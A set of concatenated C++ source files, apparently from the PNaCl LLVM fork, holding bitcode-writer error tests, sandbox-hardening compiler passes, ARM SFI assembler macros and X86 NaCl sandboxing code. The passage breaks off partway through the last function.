// one operator, but is then followed with more than one operator.
TEST(NaClMungeWriteErrorTests, SpecifiesTooFewOperands) {
const uint64_t Edit[] = {
VoidTypeIndex, NaClMungedBitcode::AddBefore,
// Note: 1 at end of next line specified that the abbreviation
// should only have one operator.
naclbitc::DEFINE_ABBREV, naclbitc::BLK_CODE_DEFINE_ABBREV, 1,
1, 10, // lit(10)
1, 15, // lit(15)
Terminator
};
CheckDumpEdits(
ARRAY(Edit),
"Error (Block 17): Error: Too many values for number of operands (1):"
" 2: [65533, 1, 1, 10, 1, 15]\n",
NoErrorRecoveryMessages,
ExpectedDumpedBitcode);
}
// Show that the code checks if specifies too many operands for an
// abbreviation, based on the record size.
TEST(NaClMungeWriteErrorTests, SpecifiesTooManyOperands) {
// Insert bad abbreviation Vbr(36) into type block.
const uint64_t Edit[] = {
VoidTypeIndex, NaClMungedBitcode::AddBefore,
naclbitc::DEFINE_ABBREV, naclbitc::BLK_CODE_DEFINE_ABBREV, 3,
1, 10, // lit(10)
1, 15, // lit(15)
Terminator
};
CheckDumpEdits(
ARRAY(Edit),
"Error (Block 17): Malformed abbreviation found: 2: [65533, 3, 1, 10,"
" 1, 15]\n",
NoErrorRecoveryMessages,
ExpectedDumpedBitcode);
}
// Show what happens if an abbreviation definition is defined outside a block.
TEST(NaClMungeWriteErrorTests, AbbreviationNotInBlock) {
// Add abbreviation before all records.
const uint64_t Edit[] = {
0, NaClMungedBitcode::AddBefore,
naclbitc::DEFINE_ABBREV, naclbitc::BLK_CODE_DEFINE_ABBREV, 1,
1, 10, // lit(10)
Terminator
};
CheckDumpEdits(
ARRAY(Edit),
"Error (Block unknown): Abbreviation definition not in block: 2:"
" [65533, 1, 1, 10]\n",
NoErrorRecoveryMessages,
ExpectedDumpedBitcode);
}
// Show what happens when the SetBID record (in a block-info block) is
// malformed.
TEST(NaClMungeWriteErrorTests, SetBIDWrongSize) {
// Build a block-info example before the types block.
const uint64_t TypesEnter = 1;
const uint64_t Edits[] = {
TypesEnter, NaClMungedBitcode::AddBefore,
// Enter the blockinfo block
1, naclbitc::BLK_CODE_ENTER, naclbitc::BLOCKINFO_BLOCK_ID, 2, Terminator,
TypesEnter, NaClMungedBitcode::AddBefore,
// Define a SetBID with too many arguments (2 instead of 1)
3, naclbitc::BLOCKINFO_CODE_SETBID, naclbitc::GLOBALVAR_BLOCK_ID, 2,
Terminator,
TypesEnter, NaClMungedBitcode::AddBefore,
// Add an abbreviation to block globalvar block.
naclbitc::DEFINE_ABBREV, naclbitc::BLK_CODE_DEFINE_ABBREV, 1,
1, 10, Terminator, // lit(10)
TypesEnter, NaClMungedBitcode::AddBefore,
// Define a SetBID with too few arguments (none).
3, naclbitc::BLOCKINFO_CODE_SETBID, Terminator,
TypesEnter, NaClMungedBitcode::AddBefore,
// Add an abbreviation to the unknown block.
naclbitc::DEFINE_ABBREV, naclbitc::BLK_CODE_DEFINE_ABBREV, 1,
1, 20, Terminator, // lit(20)
TypesEnter, NaClMungedBitcode::AddBefore,
// Exit the blockinfo block.
0, naclbitc::BLK_CODE_EXIT, Terminator
};
bool RecoveredTestHasErrors = true;
// TODO(kschimpf) Why don't we also get an error when running CheckParseEdits
// inside CheckDumpEdits?
CheckDumpEdits(
ARRAY(Edits),
"Error (Block 0): SetBID record expects 1 value but found 2: 3: [1,"
" 19, 2]\n",
"Error (Block 0): SetBID record expects 1 value but found 0: 3: [1]\n",
" 0:0|<65532, 80, 69, 88, 69, 1, 0,|Magic Number: 'PEXE' (80, 69,"
" 88, 69)\n"
" | 8, 0, 17, 0, 4, 0, 2, 0, 0, |PNaCl Version: 2\n"
" | 0> |\n"
" 16:0|1: <65535, 8, 2> |module { // BlockID = 8\n"
" 24:0| 1: <65535, 0, 2> | abbreviations { // BlockID"
" = 0\n"
" 32:0| 3: <1, 19> | globals:\n"
" 34:4| 2: <65533, 1, 1, 10> | @a0 = abbrev <10>;\n"
" 36:4| 3: <1, 4294967295> | block(4294967295):\n"
"Error(34:4): Block id 4294967295 not understood.\n"
" 43:4| 2: <65533, 1, 1, 20> | @a0 = abbrev <20>;\n"
" 45:4| 0: <65534> | }\n"
" 48:0| 1: <65535, 17, 3> | types { // BlockID = 17\n"
" 56:0| 3: <1, 2> | count 2;\n"
" 58:5| 3: <2> | @t0 = void;\n"
" 60:4| 3: <21, 0, 0> | @t1 = void ();\n"
" 63:7| 0: <65534> | }\n"
" 68:0| 3: <8, 1, 0, 0, 0> | define external void @f0();\n"
" 72:6| 1: <65535, 12, 2> | function void @f0() { \n"
" | | // BlockID"
" = 12\n"
" 80:0| 3: <1, 1> | blocks 1;\n"
" | | %b0:\n"
" 82:4| 3: <10> | ret void;\n"
" 84:2| 0: <65534> | }\n"
" 88:0|0: <65534> |}\n",
RecoveredTestHasErrors);
}
// Show what happens when records other than setBID and abbreviation
// definitions appear in a blockinfo block.
TEST(NaClMungeWriteErrorTests, BlockInfoBlockWithUnknownRecord) {
// Build a block-info example before the types block.
const uint64_t TypesEnter = 1;
const uint64_t Edits[] = {
// Enter the blockinfo block
TypesEnter, NaClMungedBitcode::AddBefore,
1, naclbitc::BLK_CODE_ENTER, naclbitc::BLOCKINFO_BLOCK_ID, 2, Terminator,
// Define abbreviations for globalvar block.
TypesEnter, NaClMungedBitcode::AddBefore,
3, naclbitc::BLOCKINFO_CODE_SETBID, naclbitc::GLOBALVAR_BLOCK_ID,
Terminator,
// Add unknown record (i.e. not setBID).
TypesEnter, NaClMungedBitcode::AddBefore,
3, naclbitc::BLOCKINFO_CODE_SETBID + 3, 2, Terminator,
// Exit the blockinfo block.
TypesEnter, NaClMungedBitcode::AddBefore,
0, naclbitc::BLK_CODE_EXIT, Terminator
};
CheckDumpEdits(
ARRAY(Edits),
"Error (Block 0): Record not allowed in blockinfo block: 3: [4, 2]\n",
NoErrorRecoveryMessages,
" 0:0|<65532, 80, 69, 88, 69, 1, 0,|Magic Number: 'PEXE' (80, 69,"
" 88, 69)\n"
" | 8, 0, 17, 0, 4, 0, 2, 0, 0, |PNaCl Version: 2\n"
" | 0> |\n"
" 16:0|1: <65535, 8, 2> |module { // BlockID = 8\n"
" 24:0| 1: <65535, 0, 2> | abbreviations { // BlockID"
" = 0\n"
" 32:0| 0: <65534> | }\n"
" 36:0| 1: <65535, 17, 3> | types { // BlockID = 17\n"
" 44:0| 3: <1, 2> | count 2;\n"
" 46:5| 3: <2> | @t0 = void;\n"
" 48:4| 3: <21, 0, 0> | @t1 = void ();\n"
" 51:7| 0: <65534> | }\n"
" 56:0| 3: <8, 1, 0, 0, 0> | define external void @f0();\n"
" 60:6| 1: <65535, 12, 2> | function void @f0() { \n"
" | | // BlockID"
" = 12\n"
" 68:0| 3: <1, 1> | blocks 1;\n"
" | | %b0:\n"
" 70:4| 3: <10> | ret void;\n"
" 72:2| 0: <65534> | }\n"
" 76:0|0: <65534> |}\n");
}
// Show what happens when a block is nested within a blockinfo block.
TEST(NaClMungeWriteErrorTests, BlockWithinBlockInfoBlock) {
// Build a block-info example before the types block.
const uint64_t TypesEnter = 1;
const uint64_t Edits[] = {
// Enter the blockinfo block
TypesEnter, NaClMungedBitcode::AddBefore,
1, naclbitc::BLK_CODE_ENTER, naclbitc::BLOCKINFO_BLOCK_ID, 2, Terminator,
// Create a globalvar block (which will be ignored by error recovery).
TypesEnter, NaClMungedBitcode::AddBefore,
1, naclbitc::BLK_CODE_ENTER, naclbitc::GLOBALVAR_BLOCK_ID, 2, Terminator,
// Exit the globalvar block.
TypesEnter, NaClMungedBitcode::AddBefore,
0, naclbitc::BLK_CODE_EXIT, Terminator,
// Exit the blockinfo block.
TypesEnter, NaClMungedBitcode::AddBefore,
0, naclbitc::BLK_CODE_EXIT, Terminator
};
CheckWriteEdits(
ARRAY(Edits),
"Error (Block 0): Can't nest blocks inside blockinfo block: 1: [65535,"
" 19, 2]\n",
"Error (Block unknown): Record outside block: 3: [8, 1, 0, 0, 0]\n",
" 1: [65535, 8, 2]\n"
" 1: [65535, 0, 2]\n"
" 0: [65534]\n"
" 0: [65534]\n"
" 1: [65535, 17, 3]\n"
" 3: [1, 2]\n"
" 3: [2]\n"
" 3: [21, 0, 0]\n"
" 0: [65534]\n"
" 1: [65535, 4294967295, 3]\n"
" 3: [8, 1, 0, 0, 0]\n"
" 1: [65535, 12, 2]\n"
" 3: [1, 1]\n"
" 3: [10]\n"
" 0: [65534]\n"
" 0: [65534]\n");
}
} // end of namespace naclmungetest
<file_sep>/unittests/Support/raw_pwrite_stream_test.cpp
//===- raw_pwrite_stream_test.cpp - raw_pwrite_stream tests ---------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#include "gtest/gtest.h"
#include "llvm/ADT/SmallString.h"
#include "llvm/Support/raw_ostream.h"
using namespace llvm;
namespace {
TEST(raw_pwrite_ostreamTest, TestSVector) {
SmallString<64> Buffer;
raw_svector_ostream OS(Buffer);
StringRef Test = "test";
OS.pwrite(Test.data(), Test.size(), 0);
EXPECT_EQ(Test, OS.str());
}
}
<file_sep>/lib/Transforms/NaCl/ConstantInsertExtractElementIndex.cpp
//===- ConstantInsertExtractElementIndex.cpp - Insert/Extract element -----===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// Transform all InsertElement and ExtractElement with non-constant or
// out-of-bounds indices into either in-bounds constant accesses or
// stack accesses. This moves all undefined behavior to the stack,
// making InsertElement and ExtractElement well-defined.
//
//===----------------------------------------------------------------------===//
#include "llvm/IR/DataLayout.h"
#include "llvm/IR/IRBuilder.h"
#include "llvm/IR/Instruction.h"
#include "llvm/IR/Instructions.h"
#include "llvm/IR/Module.h"
#include "llvm/Pass.h"
#include "llvm/Transforms/NaCl.h"
#include <algorithm>
using namespace llvm;
namespace {
class ConstantInsertExtractElementIndex : public BasicBlockPass {
public:
static char ID; // Pass identification, replacement for typeid
ConstantInsertExtractElementIndex() : BasicBlockPass(ID), M(0), DL(0) {
initializeConstantInsertExtractElementIndexPass(
*PassRegistry::getPassRegistry());
}
using BasicBlockPass::doInitialization;
bool doInitialization(Module &Mod) override {
M = &Mod;
return false; // Unchanged.
}
bool runOnBasicBlock(BasicBlock &BB) override;
private:
typedef SmallVector<Instruction *, 8> Instructions;
const Module *M;
const DataLayout *DL;
void findNonConstantInsertExtractElements(
const BasicBlock &BB, Instructions &OutOfRangeConstantIndices,
Instructions &NonConstantVectorIndices) const;
void fixOutOfRangeConstantIndices(BasicBlock &BB,
const Instructions &Instrs) const;
void fixNonConstantVectorIndices(BasicBlock &BB,
const Instructions &Instrs) const;
};
/// Number of elements in a vector instruction.
unsigned vectorNumElements(const Instruction *I) {
return cast<VectorType>(I->getOperand(0)->getType())->getNumElements();
}
/// Get the index of an InsertElement or ExtractElement instruction, or null.
Value *getInsertExtractElementIdx(const Instruction *I) {
switch (I->getOpcode()) {
default: return NULL;
case Instruction::InsertElement: return I->getOperand(2);
case Instruction::ExtractElement: return I->getOperand(1);
}
}
/// Set the index of an InsertElement or ExtractElement instruction.
void setInsertExtractElementIdx(Instruction *I, Value *NewIdx) {
switch (I->getOpcode()) {
default:
llvm_unreachable(
"expected instruction to be InsertElement or ExtractElement");
case Instruction::InsertElement: I->setOperand(2, NewIdx); break;
case Instruction::ExtractElement: I->setOperand(1, NewIdx); break;
}
}
} // anonymous namespace
char ConstantInsertExtractElementIndex::ID = 0;
INITIALIZE_PASS(
ConstantInsertExtractElementIndex, "constant-insert-extract-element-index",
"Force insert and extract vector element to always be in bounds", false,
false)
void ConstantInsertExtractElementIndex::findNonConstantInsertExtractElements(
const BasicBlock &BB, Instructions &OutOfRangeConstantIndices,
Instructions &NonConstantVectorIndices) const {
for (BasicBlock::const_iterator BBI = BB.begin(), BBE = BB.end(); BBI != BBE;
++BBI) {
const Instruction *I = &*BBI;
if (Value *Idx = getInsertExtractElementIdx(I)) {
if (ConstantInt *CI = dyn_cast<ConstantInt>(Idx)) {
if (!CI->getValue().ult(vectorNumElements(I)))
OutOfRangeConstantIndices.push_back(const_cast<Instruction *>(I));
} else
NonConstantVectorIndices.push_back(const_cast<Instruction *>(I));
}
}
}
void ConstantInsertExtractElementIndex::fixOutOfRangeConstantIndices(
BasicBlock &BB, const Instructions &Instrs) const {
for (Instructions::const_iterator IB = Instrs.begin(), IE = Instrs.end();
IB != IE; ++IB) {
Instruction *I = *IB;
const APInt &Idx =
cast<ConstantInt>(getInsertExtractElementIdx(I))->getValue();
APInt NumElements = APInt(Idx.getBitWidth(), vectorNumElements(I));
APInt NewIdx = Idx.urem(NumElements);
setInsertExtractElementIdx(I, ConstantInt::get(M->getContext(), NewIdx));
}
}
void ConstantInsertExtractElementIndex::fixNonConstantVectorIndices(
BasicBlock &BB, const Instructions &Instrs) const {
for (Instructions::const_iterator IB = Instrs.begin(), IE = Instrs.end();
IB != IE; ++IB) {
Instruction *I = *IB;
Value *Vec = I->getOperand(0);
Value *Idx = getInsertExtractElementIdx(I);
VectorType *VecTy = cast<VectorType>(Vec->getType());
Type *ElemTy = VecTy->getElementType();
unsigned ElemAlign = DL->getPrefTypeAlignment(ElemTy);
unsigned VecAlign = std::max(ElemAlign, DL->getPrefTypeAlignment(VecTy));
IRBuilder<> IRB(I);
AllocaInst *Alloca = IRB.CreateAlloca(
ElemTy, ConstantInt::get(Type::getInt32Ty(M->getContext()),
vectorNumElements(I)));
Alloca->setAlignment(VecAlign);
Value *AllocaAsVec = IRB.CreateBitCast(Alloca, VecTy->getPointerTo());
IRB.CreateAlignedStore(Vec, AllocaAsVec, Alloca->getAlignment());
Value *GEP = IRB.CreateGEP(Alloca, Idx);
Value *Res;
switch (I->getOpcode()) {
default:
llvm_unreachable("expected InsertElement or ExtractElement");
case Instruction::InsertElement:
IRB.CreateAlignedStore(I->getOperand(1), GEP, ElemAlign);
Res = IRB.CreateAlignedLoad(AllocaAsVec, Alloca->getAlignment());
break;
case Instruction::ExtractElement:
Res = IRB.CreateAlignedLoad(GEP, ElemAlign);
break;
}
I->replaceAllUsesWith(Res);
I->eraseFromParent();
}
}
bool ConstantInsertExtractElementIndex::runOnBasicBlock(BasicBlock &BB) {
bool Changed = false;
if (!DL)
DL = &BB.getParent()->getParent()->getDataLayout();
Instructions OutOfRangeConstantIndices;
Instructions NonConstantVectorIndices;
findNonConstantInsertExtractElements(BB, OutOfRangeConstantIndices,
NonConstantVectorIndices);
if (!OutOfRangeConstantIndices.empty()) {
Changed = true;
fixOutOfRangeConstantIndices(BB, OutOfRangeConstantIndices);
}
if (!NonConstantVectorIndices.empty()) {
Changed = true;
fixNonConstantVectorIndices(BB, NonConstantVectorIndices);
}
return Changed;
}
BasicBlockPass *llvm::createConstantInsertExtractElementIndexPass() {
return new ConstantInsertExtractElementIndex();
}
<file_sep>/lib/Transforms/MinSFI/SubstituteUndefs.cpp
//===- SubstituteUndefs.cpp - Replace undefs with deterministic constants -===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// PNaCl bitcode may contain undefined values inside function bodies, i.e. as
// a placeholder for numerical constants and constant vectors. Their actual
// value at runtime will most likely be the current value from one of the
// registers or from the native stack.
//
// Using undefined values, the sandboxed code could obtain protected values,
// such as the base address of the address subspace or a value from another
// protection domain left in the register file. Additionally, undefined values
// may introduce undesirable non-determinism.
//
// This pass therefore substitutes all undefined expressions with predefined
// constants.
//
//===----------------------------------------------------------------------===//
#include "llvm/Pass.h"
#include "llvm/IR/Constants.h"
#include "llvm/IR/Function.h"
#include "llvm/Transforms/MinSFI.h"
using namespace llvm;
static const uint64_t SubstInt = 0xBAADF00DCAFEBABE;
static const double SubstFloat = 3.14159265359;
namespace {
class SubstituteUndefs : public FunctionPass {
public:
static char ID;
SubstituteUndefs() : FunctionPass(ID) {
initializeSubstituteUndefsPass(*PassRegistry::getPassRegistry());
}
virtual bool runOnFunction(Function &Func);
};
} // namespace
static inline bool isScalarOrVectorInteger(Type *T) {
if (T->isIntegerTy())
return true;
else if (T->isVectorTy() && T->getVectorElementType()->isIntegerTy())
return true;
else
return false;
}
static inline bool isScalarOrVectorFloatingPoint(Type *T) {
if (T->isFloatingPointTy())
return true;
else if (T->isVectorTy() && T->getVectorElementType()->isFloatingPointTy())
return true;
else
return false;
}
bool SubstituteUndefs::runOnFunction(Function &Func) {
bool HadUndefs = false;
for (Function::iterator BB = Func.begin(), E = Func.end(); BB != E; ++BB) {
for (BasicBlock::iterator Inst = BB->begin(), E = BB->end(); Inst != E;
++Inst) {
for (int Index = 0, NumOps = Inst->getNumOperands(); Index < NumOps;
++Index) {
Value *Operand = Inst->getOperand(Index);
if (isa<UndefValue>(Operand)) {
HadUndefs = true;
Type *OpType = Operand->getType();
if (isScalarOrVectorInteger(OpType))
Inst->setOperand(Index, ConstantInt::get(OpType, SubstInt));
else if (isScalarOrVectorFloatingPoint(OpType))
Inst->setOperand(Index, ConstantFP::get(OpType, SubstFloat));
else
assert(false && "Type of undef not permitted by the PNaCl ABI");
}
}
}
}
return HadUndefs;
}
char SubstituteUndefs::ID = 0;
INITIALIZE_PASS(SubstituteUndefs, "minsfi-substitute-undefs",
"Replace undef values with deterministic constants",
false, false)
FunctionPass *llvm::createSubstituteUndefsPass() {
return new SubstituteUndefs();
}
<file_sep>/lib/Target/ARM/ARMNaClHeaders.cpp
//===-- ARMNaClHeaders.cpp - Print SFI headers to an ARM .s file -----------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file contains the initial header string needed
// for the Native Client target in ARM assembly.
//
//===----------------------------------------------------------------------===//
#include "llvm/Support/raw_ostream.h"
#include "ARMNaClRewritePass.h"
#include <string>
using namespace llvm;
void EmitSFIHeaders(raw_ostream &O) {
O << " @ ========================================\n";
// NOTE: this macro does bundle alignment as follows
// if current bundle pos is X emit pX data items of value "val"
// NOTE: that pos will be one of: 0,4,8,12
//
O <<
"\t.macro sfi_long_based_on_pos p0 p1 p2 p3 val\n"
"\t.set pos, (. - XmagicX) % 16\n"
"\t.fill (((\\p3<<12)|(\\p2<<8)|(\\p1<<4)|\\p0)>>pos) & 15, 4, \\val\n"
"\t.endm\n"
"\n\n";
O <<
"\t.macro sfi_illegal_if_at_bundle_begining\n"
"\tsfi_long_based_on_pos 1 0 0 0 0xe125be70\n"
"\t.endm\n"
"\n\n";
O <<
"\t.macro sfi_nop_if_at_bundle_end\n"
"\tsfi_long_based_on_pos 0 0 0 1 0xe320f000\n"
"\t.endm\n"
"\n\n";
O <<
"\t.macro sfi_nops_to_force_slot3\n"
"\tsfi_long_based_on_pos 3 2 1 0 0xe320f000\n"
"\t.endm\n"
"\n\n";
O <<
"\t.macro sfi_nops_to_force_slot2\n"
"\tsfi_long_based_on_pos 2 1 0 3 0xe320f000\n"
"\t.endm\n"
"\n\n";
O <<
"\t.macro sfi_nops_to_force_slot1\n"
"\tsfi_long_based_on_pos 1 0 3 2 0xe320f000\n"
"\t.endm\n"
"\n\n";
O << " @ ========================================\n";
O <<
"\t.macro sfi_data_mask reg cond\n"
"\tbic\\cond \\reg, \\reg, #0xc0000000\n"
"\t.endm\n"
"\n\n";
O <<
"\t.macro sfi_data_tst reg\n"
"\ttst \\reg, #0xc0000000\n"
"\t.endm\n"
"\n\n";
O <<
"\t.macro sfi_code_mask reg cond=\n"
"\tbic\\cond \\reg, \\reg, #0xc000000f\n"
"\t.endm\n"
"\n\n";
O << " @ ========================================\n";
O <<
"\t.macro sfi_call_preamble cond=\n"
"\tsfi_nops_to_force_slot3\n"
"\t.endm\n"
"\n\n";
O <<
"\t.macro sfi_return_preamble reg cond=\n"
"\tsfi_nop_if_at_bundle_end\n"
"\tsfi_code_mask \\reg \\cond\n"
"\t.endm\n"
"\n\n";
// This is used just before "bx rx"
O <<
"\t.macro sfi_indirect_jump_preamble link cond=\n"
"\tsfi_nop_if_at_bundle_end\n"
"\tsfi_code_mask \\link \\cond\n"
"\t.endm\n"
"\n\n";
// This is use just before "blx rx"
O <<
"\t.macro sfi_indirect_call_preamble link cond=\n"
"\tsfi_nops_to_force_slot2\n"
"\tsfi_code_mask \\link \\cond\n"
"\t.endm\n"
"\n\n";
O << " @ ========================================\n";
O <<
"\t.macro sfi_load_store_preamble reg cond\n"
"\tsfi_nop_if_at_bundle_end\n"
"\tsfi_data_mask \\reg, \\cond\n"
"\t.endm\n"
"\n\n";
O <<
"\t.macro sfi_cstore_preamble reg\n"
"\tsfi_nop_if_at_bundle_end\n"
"\tsfi_data_tst \\reg\n"
"\t.endm\n"
"\n\n";
O << " @ ========================================\n";
O << "\t.text\n";
}
<file_sep>/lib/Target/ARM/MCTargetDesc/ARMAsmBackendNaClELF.h
//===-- ARMAsmBackendNaClELF.h ARM Asm Backend NaCl ELF --------*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#ifndef LLVM_LIB_TARGET_ARM_ARMASMBACKENDNACLELF_H
#define LLVM_LIB_TARGET_ARM_ARMASMBACKENDNACLELF_H
// This whole file is a @LOCALMOD
#include "MCTargetDesc/ARMAsmBackendELF.h"
#include "MCTargetDesc/ARMMCNaCl.h"
using namespace llvm;
namespace {
class ARMAsmBackendNaClELF : public ARMAsmBackendELF {
public:
ARMAsmBackendNaClELF(const Target &T, const StringRef TT, uint8_t _OSABI,
bool isLittle)
: ARMAsmBackendELF(T, TT, _OSABI, isLittle),
STI(ARM_MC::createARMMCSubtargetInfo(TT, "", "")) {
assert(isLittle && "NaCl only supports little-endian");
State.SaveCount = 0;
State.I = 0;
State.RecursiveCall = false;
}
~ARMAsmBackendNaClELF() override {}
bool CustomExpandInst(const MCInst &Inst, MCStreamer &Out) override {
return CustomExpandInstNaClARM(*STI, Inst, Out, State);
}
private:
// TODO(jfb) When upstreaming this class we can drop STI since ARMAsmBackend
// already has one. It's unfortunately private so we recreate one
// here to avoid the extra localmod.
std::unique_ptr<MCSubtargetInfo> STI;
ARMMCNaClSFIState State;
};
} // end anonymous namespace
#endif
<file_sep>/tools/pnacl-llc/SRPCStreamer.h
//===-- SRPCStreamer.h - Stream bitcode over SRPC ------------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// Manages a Data stream where the producer pushes bytes via SRPC.
//
//===----------------------------------------------------------------------===//
#ifndef SRPCSTREAMER_H
#define SRPCSTREAMER_H
#include <pthread.h>
#include <string>
#include "llvm/Support/QueueStreamer.h"
// Class to manage the compliation thread and serve as the interface from
// the SRPC thread
class SRPCStreamer {
SRPCStreamer(const SRPCStreamer &) = delete;
SRPCStreamer &operator=(const SRPCStreamer &) = delete;
public:
SRPCStreamer() : Error(false) {}
// Initialize streamer, create a new thread running Callback, and
// return a pointer to the DataStreamer the threads will use to
// synchronize. On error, return NULL and fill in the ErrorMsg string
llvm::DataStreamer *init(void *(*Callback)(void *),
void *arg, std::string *ErrMsg);
// Called by the RPC thread. Copy len bytes from buf. Return bytes copied.
size_t gotChunk(unsigned char *bytes, size_t len);
// Called by the RPC thread. Wait for the compilation thread to finish.
int streamEnd(std::string *ErrMsg);
// Called by the compilation thread. Set the error condition and also
// terminate the thread.
void setFatalError(const std::string& message);
private:
int Error;
std::string ErrorMessage;
llvm::QueueStreamer Q;
pthread_t CompileThread;
};
#endif // SRPCSTREAMER_H
<file_sep>/lib/Target/X86/MCTargetDesc/X86MCNaCl.cpp
//=== X86MCNaCl.cpp - Expansion of NaCl pseudo-instructions --*- C++ -*-=//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
//===----------------------------------------------------------------------===//
#define DEBUG_TYPE "x86-sandboxing"
#include "MCTargetDesc/X86MCTargetDesc.h"
#include "MCTargetDesc/X86BaseInfo.h"
#include "MCTargetDesc/X86MCNaCl.h"
#include "X86NaClDecls.h"
#include "llvm/MC/MCAsmInfo.h"
#include "llvm/MC/MCContext.h"
#include "llvm/MC/MCExpr.h"
#include "llvm/MC/MCInstrInfo.h"
#include "llvm/MC/MCRegisterInfo.h"
#include "llvm/MC/MCInst.h"
#include "llvm/MC/MCObjectFileInfo.h"
#include "llvm/MC/MCStreamer.h"
#include "llvm/CodeGen/ValueTypes.h"
#include "llvm/Support/CommandLine.h"
#include "llvm/Support/Debug.h"
using namespace llvm;
cl::opt<bool> FlagUseZeroBasedSandbox("sfi-zero-based-sandbox",
cl::desc("Use a zero-based sandbox model"
" for the NaCl SFI."),
cl::init(false));
// This flag can be set to false to test the performance impact of
// hiding the sandbox base.
cl::opt<bool> FlagHideSandboxBase("sfi-hide-sandbox-base",
cl::desc("Prevent 64-bit NaCl sandbox"
" pointers from being written to"
" the stack. [default=true]"),
cl::init(true));
const int kNaClX86InstructionBundleSize = 32;
// See the notes below where these functions are defined.
namespace {
unsigned getX86SubSuperRegister_(unsigned Reg, EVT VT, bool High=false);
unsigned DemoteRegTo32_(unsigned RegIn);
} // namespace
static void PushReturnAddress(const llvm::MCSubtargetInfo &STI,
MCContext &Context, MCStreamer &Out,
MCSymbol *RetTarget) {
const MCExpr *RetTargetExpr = MCSymbolRefExpr::Create(RetTarget, Context);
if (Context.getObjectFileInfo()->getRelocM() == Reloc::PIC_) {
// Calculate return_addr
// The return address should not be calculated into R11 because if the push
// instruction ends up at the start of a bundle, an attacker could arrange
// an indirect jump to it, which would push the full jump target
// (which itself was calculated into r11) onto the stack.
MCInst LEAInst;
LEAInst.setOpcode(X86::LEA64_32r);
LEAInst.addOperand(MCOperand::CreateReg(X86::R10D)); // DestReg
LEAInst.addOperand(MCOperand::CreateReg(X86::RIP)); // BaseReg
LEAInst.addOperand(MCOperand::CreateImm(1)); // Scale
LEAInst.addOperand(MCOperand::CreateReg(0)); // IndexReg
LEAInst.addOperand(MCOperand::CreateExpr(RetTargetExpr)); // Offset
LEAInst.addOperand(MCOperand::CreateReg(0)); // SegmentReg
Out.EmitInstruction(LEAInst, STI);
// push return_addr
MCInst PUSHInst;
PUSHInst.setOpcode(X86::PUSH64r);
PUSHInst.addOperand(MCOperand::CreateReg(X86::R10));
Out.EmitInstruction(PUSHInst, STI);
} else {
// push return_addr
MCInst PUSHInst;
PUSHInst.setOpcode(X86::PUSH64i32);
PUSHInst.addOperand(MCOperand::CreateExpr(RetTargetExpr));
Out.EmitInstruction(PUSHInst, STI);
}
}
static void EmitDirectCall(const llvm::MCSubtargetInfo &STI,
const MCOperand &Op, bool Is64Bit, MCStreamer &Out) {
const bool HideSandboxBase =
(FlagHideSandboxBase && Is64Bit && !FlagUseZeroBasedSandbox);
if (HideSandboxBase) {
// For NaCl64, the sequence
// call target
// return_addr:
// is changed to
// push return_addr
// jmp target
// .align 32
// return_addr:
// This avoids exposing the sandbox base address via the return
// address on the stack.
// When generating PIC code, calculate the return address manually:
// leal return_addr(%rip), %r10d
// push %r10
// jmp target
// .align 32
// return_addr:
MCContext &Context = Out.getContext();
// Generate a label for the return address.
MCSymbol *RetTarget = Context.createTempSymbol("DirectCallRetAddr", true);
PushReturnAddress(STI, Context, Out, RetTarget);
// jmp target
MCInst JMPInst;
JMPInst.setOpcode(X86::JMP_4);
JMPInst.addOperand(Op);
Out.EmitInstruction(JMPInst, STI);
Out.EmitCodeAlignment(kNaClX86InstructionBundleSize);
Out.EmitLabel(RetTarget);
} else {
Out.EmitBundleLock(true);
MCInst CALLInst;
CALLInst.setOpcode(Is64Bit ? X86::CALL64pcrel32 : X86::CALLpcrel32);
CALLInst.addOperand(Op);
Out.EmitInstruction(CALLInst, STI);
Out.EmitBundleUnlock();
}
}
static void EmitIndirectBranch(const llvm::MCSubtargetInfo &STI,
const MCOperand &Op, bool Is64Bit, bool IsCall,
MCStreamer &Out) {
const bool HideSandboxBase =
(FlagHideSandboxBase && Is64Bit && !FlagUseZeroBasedSandbox);
const int JmpMask = -kNaClX86InstructionBundleSize;
unsigned Reg32 = Op.getReg();
// For NaCl64, the sequence
// jmp *%rXX
// is changed to
// mov %rXX,%r11d
// and $0xffffffe0,%r11d
// add %r15,%r11
// jmpq *%r11
//
// And the sequence
// call *%rXX
// return_addr:
// is changed to
// mov %rXX,%r11d
// push return_addr
// and $0xffffffe0,%r11d
// add %r15,%r11
// jmpq *%r11
// .align 32
// return_addr:
//
// This avoids exposing the sandbox base address via the return
// address on the stack.
// When generating PIC code for calls, calculate the return address manually:
// mov %rXX,%r11d
// leal return_addr(%rip), %r10d
// pushq %r10
// and $0xffffffe0,%r11d
// add %r15,%r11
// jmpq *%r11
// .align 32
// return_addr:
MCSymbol *RetTarget = NULL;
// For NaCl64, force an assignment of the branch target into r11,
// and subsequently use r11 as the ultimate branch target, so that
// only r11 (which will never be written to memory) exposes the
// sandbox base address. But avoid a redundant assignment if the
// original branch target is already r11 or r11d.
const unsigned SafeReg32 = X86::R11D;
const unsigned SafeReg64 = X86::R11;
if (HideSandboxBase) {
// In some cases, EmitIndirectBranch() is called with a 32-bit
// register Op (e.g. r11d), and in other cases a 64-bit register
// (e.g. r11), so we need to test both variants to avoid a
// redundant assignment. TODO(stichnot): Make callers consistent
// on 32 vs 64 bit register.
if ((Reg32 != SafeReg32) && (Reg32 != SafeReg64)) {
MCInst MOVInst;
MOVInst.setOpcode(X86::MOV32rr);
